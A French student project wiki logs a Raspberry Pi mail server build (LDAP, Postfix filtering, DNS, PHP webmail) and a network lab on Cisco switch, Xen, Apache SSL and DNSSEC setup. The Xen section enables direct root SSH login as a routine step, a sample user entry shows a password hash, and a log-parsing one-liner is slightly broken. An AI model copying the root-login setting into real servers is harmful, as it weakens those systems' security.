On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===
===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [http:// Soon™]
Rapport de Mi-Projet : [http:// Soon™]
Rapport de Projet : [http:// Soon™]

PRA2015 - Configuration des commutateurs

2015-12-10T11:05:53Z

Tteneur : /* Configuration d'un PCBX */

__TOC__
== Cahier des charges ==
=== Présentation du travail ===
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.

A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 & 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.

[[Fichier:Network architecture.PNG |thumb|center| 500px|<center>Architecture du réseau mis en place</center>]]

=== Matériel utilisé ===
* Commutateur Cisco 6009
* Un ordinateur muni d'un port série pour la configuration

== Progression ==
=== Semaine 1 - Prise en main ===
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45.
Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :
* Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
* Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur

L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).

=== Semaine 2 - Installation et configuration des OS ===

==== Installation des OS ====

On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.

Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.

console> enable
console (enable)> set interface sc0 192.168.0.1 255.255.255.0

A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.

console (enable)> format slot0:

On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.

console (enable)> copy tftp slot0:
console (enable)> 192.168.0.2
console (enable)> "emplacement du fichier"

A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.

Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.

A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :
BOOT=slot0:<CHEMIN DU FICHIER.bin>

==== Configuration des OS ====

La configuration réseau du routeur se déroule en 3 étapes.

Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface
conf t
int Gi4/3
switchport
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

int Gi7/2
switchport
switchport trunk encapsulation dot1q
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

Il faut ensuite créer les VLAN, par exemple :

conf t
vlan 13
name vlan13
exit

On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :

int Gi4/13
switchport access vlan 13
no shut
exit

Le schéma physique est le suivant :
*VLAN11 : Gigabit 4/11
*VLAN12 : Gigabit 4/12
*VLAN13 : Gigabit 4/13
*VLAN14 : Gigabit 4/14
*VLAN15 : Gigabit 4/15
*VLAN16 : Gigabit 4/16
*VLAN17 : Gigabit 4/17
*VLAN18 : Gigabit 4/18
*VLAN19 : Gigabit 4/19
*VLAN20 : Gigabit 4/20
*VLAN 110 : Gigabit 4/1

=== Semaine 3 ===

Nous avons commencé par créer une VM Xen sur le serveur Cordouan :
xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd

*Notre IP : 193.48.57.163
*Masque : 255.255.255.240
*Passerelle : 193.48.57.174

Nous avons ensuite crée 2 partitions LVM, home et var.
lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v
lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v

Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :
disk = [
'phy:/dev/virtual/ima5-chimay-var,xvdb,w'
'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]
dans vif, rajouter bridge=IMA5sc

Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :
apt-get install apache2
apt-get install openssh
apt-get install bind9

On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :
PermitRootLogin yes

=== Semaine 4 ===

Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol.

==== Installation du serveur Apache et du certificat SSL ====

Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr

Les domaines certifiés sont ''michay.lol'' et ''www.michay.lol''.

On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.

On poursuit ensuite en activant le module SSL d'Apache :

a2enmod ssl

Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :

<IfModule mod_ssl.c>
Listen 443
NameVirtualHost 193.48.57.163:443
</IfModule>

Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf :
<VirtualHost *:443> **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****
ServerName www.michay.lol **** Domaine et Alias ****
ServerAlias michay.lol
DocumentRoot /var/www/www.michay.lol/ **** Dossier contenant les fichiers du site ****
CustomLog /var/log/apache2/secure_access.log combined **** Localisation des logs ****
SSLEngine on **** Activation du SSL ****
SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt **** Chargement du certificat signé par Gandi ****
SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key **** Clé privée correspondant au certificat combiné à la PEM ****
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem **** Clé publique émise par Gandi ****
SSLVerifyClient None
</VirtualHost>

On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.

[[Fichier:certif1.PNG |thumb|center| 500px|<center>Certificat certifié par Gandi.</center>]]

On peut notamment voir toute la chaîne de certification !

[[Fichier:certif2.PNG |thumb|center| 500px|<center>La chaîne de certification de notre certificat.</center>]]

==== Mise en place du serveur DNS et de DNSSEC ====

Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :

Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.

zone db.michay.lol :

$TTL 604800

@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ; Serial
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL

$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

@ IN NS ns.michay.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.163
www IN A 193.48.57.163
god IN A 193.48.57.163
ns IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
www IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
god IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
@ IN A 193.48.57.163
@ IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535

et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :

$TTL 604800

@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)

57.48.193.in-addr.arpa. IN NS ns.michay.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.

163 IN PTR michay.lol.

On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :

zone "michay.lol" {
type master;
file "/etc/bind/zones/db.michay.lol.signed";
allow-transfer { 217.70.177.40; };
notify yes;
};

zone "57.48.193.in-addr.arpa" IN {
type master;
file "/etc/bind/zones/57.48.193.in-addr.arpa";
